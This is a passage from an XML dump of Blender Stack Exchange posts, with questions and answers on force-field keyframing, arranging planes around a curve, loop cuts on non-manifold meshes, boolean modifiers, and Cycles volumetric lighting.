Selection Box&quot;, you could have used&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.prop_search(scene, &quot;theChosenMaterial&quot;, bpy.data, &quot;materials&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and similarly for textures, meshes, or any other bpy collection.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Limitations&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;We are only saving the name of the object (for example, &lt;code&gt;scene.theChosenObject&lt;/code&gt; could be &lt;code&gt;'Cube'&lt;/code&gt;).  If the user changes the name of the object, &lt;code&gt;scene.theChosenObject&lt;/code&gt; will not change and you will not be able to use it to reference the object anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here for &lt;a href=&quot;https://blender.stackexchange.com/questions/6975/is-it-possible-to-use-bpy-props-pointerproperty-to-store-a-pointer-to-an-object&quot;&gt;more&lt;/a&gt; on this problem.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2014-03-23T20:34:11.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7978" PostTypeId="1" CreationDate="2014-02-12T00:28:59.510" Score="2" ViewCount="2199" Body="&lt;p&gt;Some force fields, such as &quot;turbulence&quot; can be moved or changed.  But wind is one of those that does not seem to have any handles for controlling it with key frames.  Its just on all the time, and the  you can only change it and set its parameters before animating the scene.  Is there a way to control it? &lt;/p&gt;&#xA;" OwnerDisplayName="user910949" LastActivityDate="2014-04-19T03:52:12.757" Title="In Blender 3d, how do I start or change a wind force in a scene?" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7979" PostTypeId="2" ParentId="7978" CreationDate="2014-02-12T10:01:55.840" Score="5" Body="&lt;p&gt;Most values displayed in the properties can be keyframed. This includes the Strength, Flow and Noise for Force Fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the mouse over the field press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; or right click and select Insert Keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more variation you can add a noise modifier to the value in the graph editor. Press &lt;kbd&gt;N&lt;/kbd&gt; to show the properties sidebar to find the modifiers panel.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastEditorUserId="2173" LastEditDate="2014-04-19T03:52:12.757" LastActivityDate="2014-04-19T03:52:12.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7981" PostTypeId="2" ParentId="7122" CreationDate="2014-03-23T14:28:57.347" Score="3" Body="&lt;p&gt;This option is now supported, but not in time for version 2.70. Later versions will have this option and meanwhile you can &lt;a href=&quot;http://builder.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;download a daily build&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change this setting go to: &lt;em&gt;User Preferences &gt; Themes &gt; 3D View&lt;/em&gt; (on the left) and select &lt;em&gt;View Overlay&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option affects:&lt;br&gt;&#xA;- the cursor (fly/walk and the default black part of the 3D cursor),&lt;br&gt;&#xA;- the camera guides (enabled in &lt;em&gt;Camera Panel &gt; Display&lt;/em&gt;), and&lt;br&gt;&#xA;- the stippled line guide that appears when scaling objects.&lt;/p&gt;&#xA;" OwnerUserId="844" LastActivityDate="2014-03-23T14:28:57.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7982" PostTypeId="1" AcceptedAnswerId="7987" CreationDate="2014-03-23T16:33:53.320" Score="7" ViewCount="1143" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tX92B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to create skirt out of leafes but it is actually a pain to position them. Is it possible to create this procedurally?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that I just create a circle and say spawn 20 textured rectangles around it, would this be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would look like this, where the red lines are the planes from the top view&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LzZI1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1672" LastEditorUserId="1672" LastEditDate="2014-03-23T17:49:53.327" LastActivityDate="2014-03-24T13:15:54.093" Title="Spawn planes around a circle?" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7984" PostTypeId="1" AcceptedAnswerId="7988" CreationDate="2014-03-23T17:26:44.037" Score="4" ViewCount="1788" Body="&lt;p&gt;As the title says: my newly added parts in my mesh disappear when I change from edit into object mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if I change the position of my mesh in edit mode it's still at the same spot in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My mesh is rigged and weight painted, I also made a few animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already checked my layers, tried &lt;kbd&gt;Alt+H&lt;/kbd&gt; but nothing helped. Making a new mesh wouldn't be a big deal, but I can't make always a new mesh if get the same problem, so I want to know how to solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w7Guj.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2884" LastEditorUserId="282" LastEditDate="2014-03-23T22:21:38.707" LastActivityDate="2014-03-23T22:21:38.707" Title="Extruded Part disappears after switching from Edit Mode into Object Mode" Tags="&lt;mesh&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7985" PostTypeId="2" ParentId="7982" CreationDate="2014-03-23T18:05:25.960" Score="5" Body="&lt;p&gt;You could use the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Duplicating/Spin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Spin&lt;/a&gt;  Tool&lt;/em&gt; &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt; in &lt;em&gt;Edit Mode&lt;/em&gt;. Make sure that the 3D-cursor is located in the center (pivot point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lsZ7x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could use an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Array&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Array Modifier&lt;/em&gt;&lt;/a&gt; with an &lt;em&gt;Empty&lt;/em&gt; to control the offset. Set the rectangle and the empty to the origin and add the array modifier as in the image to set the rotation you rotate the empty around its z-axis. Make sure that all transformations on your rectangle are applied (&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;) before adding the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6SknL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-03-23T18:21:21.490" LastActivityDate="2014-03-23T18:21:21.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7986" PostTypeId="2" ParentId="7982" CreationDate="2014-03-23T18:29:57.490" Score="7" Body="&lt;p&gt;Since you want to create this procedurally you can use modifiers. For this method you will need a curve. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a curve, I will use a circle, &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; -&gt; Curve -&gt; Circle&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modify the curve to your liking&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4mFQK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the leaf object and add an array modifier&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Fit Type: Curve&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Curve: the curve we just created&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add Curve modifier to the same leaf object&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Object: the curve we just created&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deformation Axis: sometime based on the orientation of the curve and leaf object you need to chose another one&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that if for some reason steps 3 or 4 do not work you might have to apply the scale for the leaf and curve object. &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;L&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gWH0y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27823&quot; rel=&quot;nofollow noreferrer&quot;&gt;example file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-24T12:57:46.960" LastActivityDate="2014-03-24T12:57:46.960" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7987" PostTypeId="2" ParentId="7982" CreationDate="2014-03-23T18:33:55.520" Score="7" Body="&lt;h2&gt;&lt;strong&gt;Clamp To&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Another very easy to use and easy to edit method is to use the Clamp To object constraint modifier, as shown here:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yuyuv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few points to note:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The object to clamp the leaves to &lt;strong&gt;MUST&lt;/strong&gt; be a Curve, not a mesh    &lt;/li&gt;&#xA;&lt;li&gt;The origin point of the leaf is where it will attach to the belt curve  &lt;/li&gt;&#xA;&lt;li&gt;Make sure &quot;Cyclic&quot; is enabled on the Clamp To modifier or you may have problems moving the leaves around the belt easily  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;One of the benefits of this method is that you can easily change the position of the leaves on the belt and you can also change the shape of the belt very easily later on.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another benefit of using the Clamp To modifier is that if you are animating, the shape of belt can change and the leaves will still stay attached to it.  &lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-23T18:57:00.913" LastActivityDate="2014-03-23T18:57:00.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7988" PostTypeId="2" ParentId="7984" CreationDate="2014-03-23T19:37:58.450" Score="3" Body="&lt;h2&gt;&lt;strong&gt;Shape Keys&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I just deleted the Shape Keys for Head_Cube.005 and now the extruded arm face stays throughout the animation:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oc6jq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know any more about Shape Keys, but here is a link to them on the Blender wiki:&lt;br&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Special:Search?search=shape+keys&amp;amp;fulltext=&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Special:Search?search=shape+keys&amp;amp;fulltext=&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need the shape keys, then you will need to figure out how to edit them to incorporate the extrusion throughout the animation. I'd help more with them if I could, but I know nothing else about them.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-23T19:58:58.557" LastActivityDate="2014-03-23T19:58:58.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7989" PostTypeId="1" AcceptedAnswerId="8004" CreationDate="2014-03-23T20:50:41.983" Score="2" ViewCount="265" Body="&lt;p&gt;How do I get my screencast keys to stay by my world axes when I open &amp;amp; close my Tools panel? I don't want them to stay out in the middle of the screen when I close my Tools if I'm doing a screencast.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8LNUq.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's another scenario I want to avoid: having the screencast keys beneath the Tools panel:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GLIfy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-23T20:56:26.193" LastActivityDate="2014-03-24T16:46:18.430" Title="How do I get my screencast keys to stay by my world axes when I open &amp; close my Tools panel?" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7990" PostTypeId="1" CreationDate="2014-03-23T21:05:48.923" Score="16" ViewCount="36954" Body="&lt;p&gt;why does the loop-cut-and-slide operation ignore certain faces but happily cut others?the model is symmetrical so it is a bit strange to pick 3 faces that won't get cut. I tried applying it to see if it was just a graphics glitch causing the purple line to not display over everything, but it did end up cutting only what the line was selecting, instead of the whole mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xKkT9.png&quot; alt=&quot;space model with bad cutting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as requested,here's a paste of the blend:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/27821&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/27821&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1911" LastEditorUserId="1911" LastEditDate="2014-03-23T23:47:06.747" LastActivityDate="2019-06-23T13:55:43.420" Title="why does loop-cut-and-slide ignore some faces but not others?" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7991" PostTypeId="1" AcceptedAnswerId="7993" CreationDate="2014-03-23T22:08:43.227" Score="2" ViewCount="558" Body="&lt;p&gt;Why does my Properties panel cover my whole active 3D Viewport when I press P? It never used to do this, it always toggled my Properties panel open and closed, as it should. But just starting today, when I press P, it covers my whole active viewport, but it doesn't even show any of the properties on the panel. Also interesting is that once the panel has covered the viewport, pressing P again will not close it again -- the only way to get it to close is press ESC, and then the panel just goes back to being open normally, not fully closed:    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I'm using 2.70, and this problem continues even if I quit &amp;amp; restart Blender, and also if I reboot my computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3HAly.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also interesting is the fact that if the Tools panel is open when I press P, the Properties panel will cover even it:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iwNNO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="12" LastEditDate="2014-03-24T01:25:48.017" LastActivityDate="2014-03-24T01:25:48.017" Title="Why does my Properties panel cover my whole active 3D Viewport when I press P?" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7992" PostTypeId="2" ParentId="7991" CreationDate="2014-03-23T22:26:40.923" Score="3" Body="&lt;p&gt;What you are seeing is not the properties panel. The keyboard shortcut &lt;kbd&gt;P&lt;/kbd&gt; start the blender game engine, &quot;P&quot; for play. If you were to add in some object and hit P this would be very apparent that it is not the properties panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing &lt;kbd&gt;P&lt;/kbd&gt; at the default scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2csWy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-23T22:26:40.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7993" PostTypeId="2" ParentId="7991" CreationDate="2014-03-23T22:27:37.117" Score="3" Body="&lt;p&gt;By pressing &lt;kbd&gt;P&lt;/kbd&gt; you are starting the game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;N&lt;/kbd&gt; opens and closes the Properties panel.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-03-23T22:27:37.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7994" PostTypeId="2" ParentId="7990" CreationDate="2014-03-23T23:04:06.943" Score="13" Body="&lt;p&gt;First you should fix the mesh. This might be part of the problem.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove the double geometry, &lt;kbd&gt;W&lt;/kbd&gt; -&gt; &lt;strong&gt;Remove Doubles&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all geometry, &lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Recalculate the normals, &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;N&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does the problem persist? If so you might have to do some manual cleanup. The problem might be that you have ngons in your mesh.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;To see if you bad geometry go into vertices mode and &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;M&lt;/kbd&gt; to select all non-manifold geometry. If something was selected near at the place where the edge loop does not work that also indicates a problem, if not there still might be a problem&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also to select all n-gons you can do &lt;strong&gt;Select&lt;/strong&gt; -&gt; &lt;strong&gt;Select Faces by Sides&lt;/strong&gt;. Set the number to &lt;code&gt;4&lt;/code&gt; and the type to &lt;strong&gt;Greater Than&lt;/strong&gt; If you have n-gons they will now be selected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into vertices mode, in face mode it is harder to stop ngons&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you see that there are random vertices along the edges you should delete them, &lt;kbd&gt;x&lt;/kbd&gt; -&gt; dissolve vertices.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;An example of a random vertex along an edge&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bTCJe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="60334" LastEditDate="2018-07-29T14:05:22.410" LastActivityDate="2018-07-29T14:05:22.410" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="7995" PostTypeId="2" ParentId="7990" CreationDate="2014-03-23T23:25:57.347" Score="3" Body="&lt;p&gt;Loop cuts don't work on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1-Duplicated vertices or faces.&#xA;  (To correct that use &quot;remove doubles&quot; or &quot;merge&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2-Triangles or Polygons with more than 4 vertices. (Loop cuts work only in quads). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3- Edges that do not share the same vertices.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2019-06-15T23:48:18.310" LastActivityDate="2019-06-15T23:48:18.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7996" PostTypeId="2" ParentId="7990" CreationDate="2014-03-24T00:07:55.657" Score="9" Body="&lt;p&gt;You have some internal faces (which result in &lt;a href=&quot;https://blender.stackexchange.com/q/7910/599&quot;&gt;non-manifold geometry&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PwHpE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you delete them, loop cut works again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R7u2A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason those faces are considered non-manifold is because they have no thickness (they are 2D).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming those faces are desired for a cockpit, try creating a second mesh inside the first (with the normals facing the opposite way) to create a manifold cockpit. The solidify modifier is good for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iQozW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of the gaps between the meshes where the normals are facing away as solid, and the faces more as &lt;em&gt;interfaces&lt;/em&gt; between solids and air.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27822&quot; rel=&quot;noreferrer&quot;&gt;Example .blend&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-03-24T00:07:55.657" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7997" PostTypeId="2" ParentId="7989" CreationDate="2014-03-24T01:49:06.240" Score="0" Body="&lt;p&gt;Since it does not seem to be possible to have the screencast display stay by the axes, I decided to put them in the middle of the screen. That way, they won't be obscured by the Tools or Properties panels:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/glgac.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-03-24T01:49:06.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7998" PostTypeId="1" CreationDate="2014-03-24T03:15:59.393" Score="1" ViewCount="284" Body="&lt;p&gt;rel 2.70 in Blender Game mode&#xA;I lost bottom and side scroll bars in my logic editor panel&#xA;Can anyone help a Newbie? thx.&lt;/p&gt;&#xA;" OwnerUserId="2888" LastActivityDate="2014-03-24T05:18:09.480" Title="I lost bottom and side scroll bars in my logic editor" Tags="&lt;command-line&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-03-25T05:51:36.780" ContentLicense="CC BY-SA 3.0" />
  <row Id="7999" PostTypeId="2" ParentId="7971" CreationDate="2014-03-24T04:18:31.713" Score="2" Body="&lt;h2&gt;&lt;strong&gt;Boolean Difference modifier&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I think I may have found a solution for you:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First make the main body of the piece with the smooth edges like you like it. To do this, I extruded a plane along the X axis:    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/69nk5.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next, I applied a Bevel modifier to the piece:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zUkuP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now make a separate rectangle and extrude it to give it the thickness of the grooves you want to create. Then move it so it's positioned right where you want to cut the grooves, like this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NIFEj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now select the rectangle and:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add an Array modifier  &lt;/li&gt;&#xA;&lt;li&gt;Set the Count to the number of grooves you want to have  &lt;/li&gt;&#xA;&lt;li&gt;Adjust the Relative Offset to the distance you want between grooves.&lt;br&gt;&#xA;Here, the X value is set to 2:  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fGTqL.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now select the main body of the model and:   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a Boolean modifier  &lt;/li&gt;&#xA;&lt;li&gt;Set the Operation to Difference  &lt;/li&gt;&#xA;&lt;li&gt;Set the Object to the rectangle (here it's called Plane)  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nRVgV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now apply the Boolean and move the model so you can see the result. Here is the result I got:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tcmke.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MyEDT.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this what you were wanting?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-24T10:03:21.733" LastActivityDate="2014-03-24T10:03:21.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8001" PostTypeId="1" AcceptedAnswerId="8015" CreationDate="2014-03-24T07:23:44.017" Score="16" ViewCount="7981" Body="&lt;p&gt;While trying to use the new cycles volumetric rending features to create &lt;a href=&quot;http://en.wikipedia.org/wiki/Crepuscular_rays&quot; rel=&quot;nofollow noreferrer&quot;&gt;crepuscular rays&lt;/a&gt; (with the intention of updating &lt;a href=&quot;https://blender.stackexchange.com/q/2549/599&quot;&gt;my answer here&lt;/a&gt;), I have found this to be a little trickier than I anticipated.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;When I create a basic setup with a spot lamp (sun lamps don't seem to work, not sure if that is a result of their one directional nature or what..) and a world material like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q01t5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which gives me this (500 samples):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Eh3sz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problems with this that make me think that I'm missing something (aside from the rendertime and noise, which I understand to be a part of using bleeding edge new features) are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The background shader/sky texture isn't visible at all (volume is too dense?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The lamp needed to be set to &lt;code&gt;50000&lt;/code&gt; strength (this is of course dependent on the distance from the camera, but the kinds of strengths required to get some nice defined rays will blow everything out if volumes are disabled)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can't seem to get a straight render (no compositing tricks) to look anything remotely like the pretty image in the release notes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://wiki.blender.org/index.php/File:Cycles_270_Volume.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KM7oX.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;  &lt;sub&gt;(source: &lt;a 